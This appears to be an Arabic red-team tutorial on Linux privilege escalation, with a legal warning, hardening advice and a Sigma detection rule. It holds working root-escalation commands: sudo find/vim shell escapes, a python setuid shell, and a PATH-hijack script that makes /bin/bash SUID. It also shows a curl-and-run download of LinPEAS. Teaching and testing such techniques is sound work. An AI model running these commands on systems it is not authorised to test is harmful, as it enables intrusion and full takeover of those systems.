الفرق الحمراء — الهجوممتقدم85mL44
Linux Privilege Escalation — من user لـ root
SUID و sudo abuses و capabilities و PATH hijack و LinPEAS
#Linux#PrivEsc#SUID#Sudo#LinPEAS
ليه shell عادية بتديك root في نص الحالات؟
تشبيه — شرح مبسط
نزلت على shell كـ www-data. وبعدين؟ - أهو شغل وخلصنا يا حضرتك. شِيلت السيرفر. يا نجم الجيل.. www-data ده مش root. تقعد تتفرّج على /var/www؟ ولا تقول "خلاص، اخترقت السيرفر"؟ اوعى تخدع نفسك. الشغل لسه في أوله.
تخيّل عمارة مكاتب. إنت موظف زائر، البطاقة بتاعتك بتفتح الردهة بس. تصعيد الصلاحيات = تلاقي باب جانبي حد ساب مفتاحه، أو نظام التحكم في الأبواب بيثق في بطاقتك أكتر من اللازم. الفرق بينك وبين root في معظم الحالات مش ثغرة kernel — ده غلطة صغيرة في الإعدادات سايبها الـ admin.
تصعيد الصلاحيات في Linux نادر يكون 0-day. غالباً SUID ناقص، sudo rule مفتوح، أو script شغّال على cron بصلاحيات عالية وبيثق في PATH. في Pwnkit (CVE-2021-4034)، الثغرة كانت موجودة في polkit من 2009. 12 سنة. ومحدش لاحظ.
تخيّل عمارة مكاتب. إنت موظف زائر، البطاقة بتاعتك بتفتح الردهة بس. تصعيد الصلاحيات = تلاقي باب جانبي حد ساب مفتاحه، أو نظام التحكم في الأبواب بيثق في بطاقتك أكتر من اللازم. الفرق بينك وبين root في معظم الحالات مش ثغرة kernel — ده غلطة صغيرة في الإعدادات سايبها الـ admin.
تصعيد الصلاحيات في Linux نادر يكون 0-day. غالباً SUID ناقص، sudo rule مفتوح، أو script شغّال على cron بصلاحيات عالية وبيثق في PATH. في Pwnkit (CVE-2021-4034)، الثغرة كانت موجودة في polkit من 2009. 12 سنة. ومحدش لاحظ.
غلطات الـ junior في privesc
- يطير على kernel exploit في أول دقيقة. الـ kernel exploits مش مستقرة وممكن تكراش السيرفر. ابدأ بالـ misconfigs.
- يشغّل linpeas من غير ما يفحص الـ environment. بعض البيئات فيها auditd بيلوگ كل execve.
- يلاقي SUID على binary غريب ويعمل له exec من غير ما يفهم بيعمل إيه. ممكن يكون honeypot.
- ينسى يفحص
cat /etc/crontab. الكنز المنسي.
فحص أولي — ماذا أعرف عن النظام؟
bash
# هوية المستخدم والصلاحيات
id
sudo -l # أهم سؤال: ما الذي يمكنني تشغيله بصلاحيات أعلى؟
groups
cat /etc/passwd | cut -d: -f1
# نواة النظام والتوزيعة
uname -a
cat /etc/os-release
# مهام مجدولة (cron)
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
cat /etc/crontab
# عمليات تعمل كـ root
ps -eo user,pid,cmd | grep -E "^root" | head -20أفضل خمس قنوات تصعيد
01
sudo abuses عبر GTFOBins
لو ظهر sudo -l أنك تستطيع تشغيل برنامج مثل vim أو find بدون كلمة مرور كـ root، اذهب إلى gtfobins.github.ioوستجد سطراً واحداً يفتح shell. هذا أكثر سيناريو شائع في pentests.
bash
# إذا كان يُسمح: (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit
# أو vim
sudo vim -c ':!/bin/sh'02
SUID binaries خطرة
ابحث عن ملفات تنفيذية مع bit الـ SUID — تعمل بصلاحيات مالكها بغض النظر عمن يشغلها.
bash
find / -perm -4000 -type f 2>/dev/null
# قارن النتائج مع GTFOBins SUID list03
Capabilities
cap_setuid على ثنائي مثل python3 = root.
bash
getcap -r / 2>/dev/null
# مثال: /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'04
PATH hijacking على cron / SUID scripts
لو script يستدعي backup بدون مسار كامل، وكان /tmp في PATH، ضع backup خبيث في /tmp.
bash
echo '#!/bin/sh
chmod +s /bin/bash' > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
# انتظر تشغيل cron أو script05
Kernel exploits — آخر ملاذ
لو كل ما سبق فشل، تحقق من إصدار النواة و ابحث عن exploits معروفة (DirtyPipe CVE-2022-0847، CVE-2023-32233، nf_tables). لكن اعلم: هذه عالية الضوضاء، تتسبب في kernel panic، وقد تُكتشف بسرعة.
أتمتة — LinPEAS
LinPEAS هو script يفحص كل ما سبق تلقائياً ويلون النتائج (أحمر = استغلال محتمل). استخدمه دائماً ولكن لا تثق به وحده.
$ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh
$ chmod +x /tmp/lp.sh && /tmp/lp.sh -a | tee /tmp/lp.log
[+] [CVE-2022-0847] DirtyPipe — Kernel 5.15.0-25 vulnerable
[!] Writable /etc/passwd
[!] SUID: /usr/bin/find (gtfobins)
تحذير قانوني
التقنيات دي ضد أنظمة مش بتاعتك = جريمة فيدرالية. كل مثال هنا بيفترض إنك في معمل معزول أو على نظام معاك إذن مكتوب صريح إنك تختبره.
الحماية — تقليل الأبواب اللي قدامه
- راجع sudo -l لكل مستخدم. لا NOPASSWD لأي أداة في GTFOBins.
- ابحث عن SUID شهرياً (auditd rule على path-changes)
- استخدم capabilities بحذر، راقبها مع getcap -r /
- كل cron job يستخدم مسارات كاملة، لا اعتماد على PATH
- حدّث النواة وابحث في kpatch للتحديث الحي
- راقب execve من processes غير متوقعة (Falco / auditd / Sysdig)
الكشف — قواعد Sigma
yaml
title: Suspicious sudo execution of GTFOBins binary
logsource: { product: linux, service: auth }
detection:
selection:
process: 'sudo'
cmdline|contains:
- 'find'
- 'vim'
- 'less'
- 'awk'
filter:
user: 'admin'
condition: selection and not filter
level: high
tags: [attack.privilege_escalation, attack.t1548]الخلاصة الناشفة
Linux privesc 90٪ منه misconfigs. مش kernel exploits.
SUID على binary مش لازم يكون SUID. sudo rule كاتبها admin من 4 سنين. cron بيشغّل /tmp/script.sh اللي إنت ممكن تكتبه. PATH فيه folder writable.
الـ junior بيدوّر على CVE.
الـ pro بيدوّر على غلطة الـ admin.
اكتبها على ظهر إيدك يا مستجد: شغّل LinPEAS على سيرفراتك إنت قبل الـ adversary. لو لقى حاجة، يبقى هو هيلاقيها أسرع منك. وأنت ونصيبك ساعتها.
مصادر
- GTFOBins — gtfobins.github.io
- HackTricks — Linux Privilege Escalation
- MITRE ATT&CK — Privilege Escalation (TA0004)
- SANS SEC560 — Network Penetration Testing